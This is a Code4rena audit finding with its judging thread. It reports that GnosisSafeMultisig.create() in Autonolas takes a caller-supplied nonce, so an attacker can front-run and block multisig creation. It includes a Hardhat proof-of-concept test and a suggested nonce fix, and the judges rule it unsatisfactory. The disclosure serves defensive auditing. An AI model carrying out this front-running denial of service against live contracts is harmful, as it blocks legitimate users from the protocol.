attacker can make a gnosis safe multisig creation fail

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/registries/contracts/multisigs/GnosisSafeMultisig.sol#L91

Vulnerability details

Impact

There is a potential vulnerability in the create() function of GnosisSafeMultisig.sol due to the way the nonce is handled. The create() function uses the createProxyWithNonce() function from gnosisSafeProxyFactory, and the nonce is supplied as part of the data parameter to the create() function. However, this approach allows an attacker to front-run the transaction by submitting their own create request with the same parameters. If attacker's tx gets executed before the legitimate tx, the attacker gets the address for the multisig and the legitimate tx will fail.

    function create(
        address[] memory owners,
        uint256 threshold,
        bytes memory data
    ) external returns (address multisig)
    {
        // Parse the data into gnosis-specific set of variables
        (address to, address fallbackHandler, address paymentToken, address payable paymentReceiver, uint256 payment,
            uint256 nonce, bytes memory payload) = _parseData(data);

The issue arises because the attacker can create the exact address that is expected to be generated by the CREATE2 call in IGnosisSafeProxyFactory(gnosisSafeProxyFactory).createProxyWithNonce() when the legitimate transaction is made. Since the parameters and, consequently, the final salt and initializer will be the same, the attacker's transaction may get executed first. When the legitimate transaction is eventually executed, the address will already be occupied, and the Ethereum Virtual Machine (EVM) will reject its creation.

Attacker can decide to do this as many times as possible just to grief the caller of the create() function. This can essentially prevent/block the create functionality from being used by the protocol at a certain time.

Proof of Concept

• in the snippet below we can see that nonce is decoded from the data parameter of create() function.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/registries/contracts/multisigs/GnosisSafeMultisig.sol#L91C1-L99C69

    function create(
        address[] memory owners,
        uint256 threshold,
        bytes memory data
    ) external returns (address multisig)
    {
        // Parse the data into gnosis-specific set of variables
        (address to, address fallbackHandler, address paymentToken, address payable paymentReceiver, uint256 payment,
            uint256 nonce, bytes memory payload) = _parseData(data);

• This nonce is then passed into the gnosisSafeProxyFactory.createProxyWithNonce() as nonce for the multisig creation/deployment.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/registries/contracts/multisigs/GnosisSafeMultisig.sol#L106

        multisig = IGnosisSafeProxyFactory(gnosisSafeProxyFactory).createProxyWithNonce(gnosisSafe, safeParams, nonce);

Because the nonce is gotten from the parameter which is supplied by the caller, it can be watched and front run to cause a legitimate tx to fail.

Below is a POC i made to demonstrate this scenario:

• create new .js test file in registries/test.
• copy and paste code below into file
• navigate cmd to registries folder and run test with npx hardhat test ./test/<your test file name>.js

/*global describe, context, beforeEach, it*/

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("GnosisSafeMultisig", function () {
  let gnosisSafe;
  let gnosisSafeProxyFactory;
  let gnosisSafeMultisig;
  let signers;
  let defaultOwnerAddresses;
  const threshold = 2;
  const AddressZero = "0x" + "0".repeat(40);
  const maxUint256 =
    "115792089237316195423570985008687907853269984665640564039457584007913129639935";

  beforeEach(async function () {
    const GnosisSafe = await ethers.getContractFactory("GnosisSafe");
    gnosisSafe = await GnosisSafe.deploy();
    await gnosisSafe.deployed();

    const GnosisSafeProxyFactory = await ethers.getContractFactory(
      "GnosisSafeProxyFactory"
    );
    gnosisSafeProxyFactory = await GnosisSafeProxyFactory.deploy();
    await gnosisSafeProxyFactory.deployed();

    const GnosisSafeMultisig = await ethers.getContractFactory(
      "GnosisSafeMultisig"
    );
    gnosisSafeMultisig = await GnosisSafeMultisig.deploy(
      gnosisSafe.address,
      gnosisSafeProxyFactory.address
    );
    await gnosisSafeMultisig.deployed();

    signers = await ethers.getSigners();
    defaultOwnerAddresses = [
      signers[1].address,
      signers[2].address,
      signers[3].address,
    ];
  });

  context("Creating multisigs", async function () {
    it("attacket front runs the create tx", async function () {
      const to = signers[4].address;
      const fallbackHandler = signers[5].address;
      const paymentToken = signers[6].address;
      const paymentReceiver = signers[7].address;
      const payment = 0;
      const nonce = parseInt(Date.now() / 1000, 10);
      const payload = "0xabcd";
      const attacker = signers[10];
      const victim = signers[11];
      // Pack the data
      const data = ethers.utils.solidityPack(
        [
          "address",
          "address",
          "address",
          "address",
          "uint256",
          "uint256",
          "bytes",
        ],
        [
          to,
          fallbackHandler,
          paymentToken,
          paymentReceiver,
          payment,
          nonce,
          payload,
        ]
      );

      // ATTACKER MAKES TX

      // Create a multisig with the packed data
      const tx = await gnosisSafeMultisig
        .connect(attacker)
        .create(defaultOwnerAddresses, threshold, data);
      const result = await tx.wait();

      // Check that the obtained address is not zero
      expect(result.events[0].address).to.not.equal(AddressZero);
      const proxyAddress = result.events[0].address;

      // Get the safe multisig instance
      const multisig = await ethers.getContractAt("GnosisSafe", proxyAddress);

      // Check the multisig owners and threshold
      const owners = await multisig.getOwners();
      for (let i = 0; i < defaultOwnerAddresses.length; i++) {
        expect(owners[i]).to.equal(defaultOwnerAddresses[i]);
      }
      expect(await multisig.getThreshold()).to.equal(threshold);

      //VICTIM MAKES TX AFTER BEING FRONT RUNNED

      //run the victim tx. we expect it to fail because victim's parameters has already been used by attacker
      await expect(
        gnosisSafeMultisig
          .connect(victim)
          .create(defaultOwnerAddresses, threshold, data)
      ).to.be.revertedWith("Create2 call failed");
    });
  });
});

Tools Used

manual review, hardhat

Recommended Mitigation Steps

To address this vulnerability and enhance clarity, consider modifying the create() function to use a nonce that is generated and managed within the function itself. Make sure the nonce is self incrementing and unique to each call. This would prevent attackers from supplying their own nonce via parameters and front-running the transaction. For example something like this can be implemented:

uint256 nonce; //make nonce a state variable. 

    function create(
        address[] memory owners,
        uint256 threshold,
        bytes memory data
    ) external returns (address multisig)
    {
        // Parse the data into gnosis-specific set of variables
        (address to, address fallbackHandler, address paymentToken, address payable paymentReceiver, uint256 payment, bytes memory payload) = _parseData(data);

        // Encode the gnosis setup function parameters
        bytes memory safeParams = abi.encodeWithSelector(GNOSIS_SAFE_SETUP_SELECTOR, owners, threshold,
            to, payload, fallbackHandler, paymentToken, payment, paymentReceiver);

        // Create a gnosis safe multisig via the proxy factory

        nonce++ ; //increment nonce for every new multisig creation. 
        multisig = IGnosisSafeProxyFactory(gnosisSafeProxyFactory).createProxyWithNonce(gnosisSafe, safeParams, nonce);
    }

Assessed type

Other

[c4-pre-sort]

alex-ppg marked the issue as duplicate of #354

[c4-pre-sort]

alex-ppg marked the issue as insufficient quality report

[c4-judge]

dmvt marked the issue as unsatisfactory:
Out of scope

[adeolu98]

hi judge @dmvt,

i will like to point out reasons why i believe the primary issue this issue has been grouped with is of lower quality and not accurate. I believe this issue of mine here has been unfairly marked OOS.

• root cause of this DOS issue is due to improper or lack of nonce management in the GnosisSafeMultisig.sol contract which is clearly in scope as it is listed in the contest's scope.txt file.
  The primary issue Unrestricted create function in GnosisSafeMultisig #354 and the other duplicate does not mention/describe this as the root cause.
• mitigation suggested in Unrestricted create function in GnosisSafeMultisig #354 isn't the best, what is best is incrementing nonce per each deployment so that each call is unique, like i suggested.
• in the contest info page, the GnosisSafeMultisig contract is described as "Smart contract for Gnosis Safe multisig implementation of a generic multisig interface". I believe the GnosisSafeMultisig.sol is the protocol's wrapper contract that helps the creation of gnosis multisigs, i believe it is meant to be used permisionlessly. Meaning anyone, the protocol's admin and any contract should be able to use it and not only the out of scope ServiceRegistry as described in Unrestricted create function in GnosisSafeMultisig #354. (another reason why the issue is not caused by create() being an unrestricted function and also why restricting caller of create() to just the service registry like described in Unrestricted create function in GnosisSafeMultisig #354 is not ideal.)

I will like to suggest a review of this issue and hope the judge finds it valid as a medium severity because it does impact the availability of a function in the protocol and root cause of the issue is in an in-scope contract.

[c4-judge]

dmvt marked the issue as unsatisfactory:
Overinflated severity

[dmvt]

While I think you are splitting hairs here and that the issues are effectively the same, since you have avoided pointing to ServiceRegistry, I have adjusted my ruling to reflect the difference. I still consider this to be unsatisfactory due to the simple lack of motivation problem. While true that an attacker can grief the creation, they gain nothing by doing so. They also incur a higher gas fee than they inflict, making this extremely unlikely.

[dmvt]

Based on this issue, I have proposed an org rule to be taken up by the next Supreme Court session: code-423n4/org#143

[adeolu98]

While true that an attacker can grief the creation, they gain nothing by doing so.

Hi @dmvt The gain is preventing use of the function. The function is to be used for creating multisigs used in the protocol. Preventing the creation will simply stall genuine protocol processes for the period the attack is on for.

They also incur a higher gas fee than they inflict, making this extremely unlikely.

While it is true an attacker will pay higher gas fee to front run, they may derive satisfaction from simply DOSing. I think Assets do not have to be at risk or should there be a value leak.

This attack can be done over and over again to affect the availability of the create() function

[dmvt]

You have not provided any additional information in your comment above. My ruling in this case is final. Please continue any conversation you have around issues of this type in the org issue linked above.